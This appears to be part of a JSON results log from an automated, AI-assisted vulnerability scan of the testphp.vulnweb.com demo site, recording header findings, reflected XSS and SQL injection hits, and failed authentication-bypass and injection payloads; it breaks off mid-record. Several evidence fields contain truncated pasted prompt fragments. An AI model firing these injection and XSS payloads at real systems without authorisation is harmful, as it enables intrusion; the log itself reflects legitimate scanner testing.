      "reasoning_steps": [
        "Tested missing_xcto on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set",
      "confidence": 0.0,
      "timestamp": 1771805859.814698,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "9780b58433"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "server_version",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: server_version",
        "Payload: N/A",
        "Evidence: Server: nginx/1.19.0",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Server: nginx/1.19.0",
      "confidence": 0.0,
      "timestamp": 1771805860.0134358,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771805860.452071,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "024291ea3c"
    },
    {
      "vuln_type": "directory_listing",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/images/",
      "parameter": "",
      "reasoning_steps": [
        "Tested directory_listing on http://testphp.vulnweb.com/images/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Directory listing enabled at /images/",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Directory listing enabled at /images/",
      "confidence": 0.0,
      "timestamp": 1771805860.887479,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "36c189a123"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "x_powered_by",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: x_powered_by",
        "Payload: N/A",
        "Evidence: X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "confidence": 0.0,
      "timestamp": 1771805861.5457249,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "cleartext_transmission",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested cleartext_transmission on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No HTTPS endpoint available",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No HTTPS endpoint available",
      "confidence": 0.0,
      "timestamp": 1771805865.171128,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "a60e104f56"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: file",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771807109.231084,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "83e4a916ae"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: pp",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771807129.1847522,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "4d700103c2"
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_error on http://testphp.vulnweb.com/search.php?test=query&test='",
        "Parameter: test",
        "Payload: '",
        "Evidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy the",
        "Confidence: 100"
      ],
      "payload_used": "'",
      "evidence_summary": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example:",
      "confidence": 1.0,
      "timestamp": 1771807156.88734,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7f204cf6c0"
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_blind on http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
        "Parameter: test",
        "Payload: ' AND 1=1--",
        "Evidence: SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Examp",
        "Confidence: 100"
      ],
      "payload_used": "' AND 1=1--",
      "evidence_summary": "SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: SQLI in generic ---\nScenario: Verifying SQL injection is TRUE POSITIVE\nReasoning:",
      "confidence": 1.0,
      "timestamp": 1771807175.673066,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "427a585ebe"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "p",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: p",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771807194.192217,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "8640b4aedd"
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_union on http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
        "Parameter: test",
        "Payload: ' UNION SELECT NULL--",
        "Evidence: New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-wor",
        "Confidence: 100"
      ],
      "payload_used": "' UNION SELECT NULL--",
      "evidence_summary": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[",
      "confidence": 1.0,
      "timestamp": 1771807232.5336,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "0fbb763c35"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771807238.949271,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7ab9afb724"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/listproducts.php?cat=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771807241.17886,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "de75e08d9d"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/artists.php?artist=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771807244.744887,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "37a422fe76"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/search.php?test=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771807246.944997,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "432f223199"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/guestbook.php",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/guestbook.php",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['name', 'submit', 'text']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['name', 'submit', 'text']",
      "confidence": 0.0,
      "timestamp": 1771807249.10356,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "ce0078ec6e"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/product.php?pic=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['price', 'addcart']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['price', 'addcart']",
      "confidence": 0.0,
      "timestamp": 1771807251.259886,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "cf77cfdcfa"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_xcto on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set",
      "confidence": 0.0,
      "timestamp": 1771807253.763138,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "9780b58433"
    },
    {
      "vuln_type": "clickjacking",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested clickjacking on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Frame-Options: Not set\nCSP: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Frame-Options: Not set\nCSP: Not set",
      "confidence": 0.0,
      "timestamp": 1771807253.9822102,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "59e9a7389d"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "server_version",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: server_version",
        "Payload: N/A",
        "Evidence: Server: nginx/1.19.0",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Server: nginx/1.19.0",
      "confidence": 0.0,
      "timestamp": 1771807254.400724,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771807254.5996108,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "024291ea3c"
    },
    {
      "vuln_type": "directory_listing",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/images/",
      "parameter": "",
      "reasoning_steps": [
        "Tested directory_listing on http://testphp.vulnweb.com/images/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Directory listing enabled at /images/",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Directory listing enabled at /images/",
      "confidence": 0.0,
      "timestamp": 1771807255.008255,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "36c189a123"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "x_powered_by",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: x_powered_by",
        "Payload: N/A",
        "Evidence: X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "confidence": 0.0,
      "timestamp": 1771807255.6559548,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "cleartext_transmission",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested cleartext_transmission on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No HTTPS endpoint available",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No HTTPS endpoint available",
      "confidence": 0.0,
      "timestamp": 1771807259.169078,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "a60e104f56"
    }
  ],
  "failures": [
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267593.746895
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267600.844766
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267618.2220669
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267628.527518
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267633.7835488
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267639.416228
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<script>alert('XSS')</script>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267782.936387
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<img src=x onerror=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267787.698983
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "<svg onload=alert('XSS')>"
      ],
      "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267793.9624372
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "'"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267798.90123
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "\""
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267807.424875
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267819.037492
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=1--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267824.925566
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 1=2--"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267831.1092339
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "attempted_payloads": [
        "' AND 'a'='a"
      ],
      "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771267840.948214
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771268667.2495182
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771268677.7514272
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771268686.018811
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771268692.0056791
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771268697.6607301
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin' #"
      ],
      "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)",
      "timestamp": 1771268703.2968361
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "' OR '1'='1"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771269632.6577752
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/admin",
      "attempted_payloads": [
        "admin'--"
      ],
      "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)",
      "timestamp": 1771269634.300543
    },
    {
      "vuln_type": "auth_bypass",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
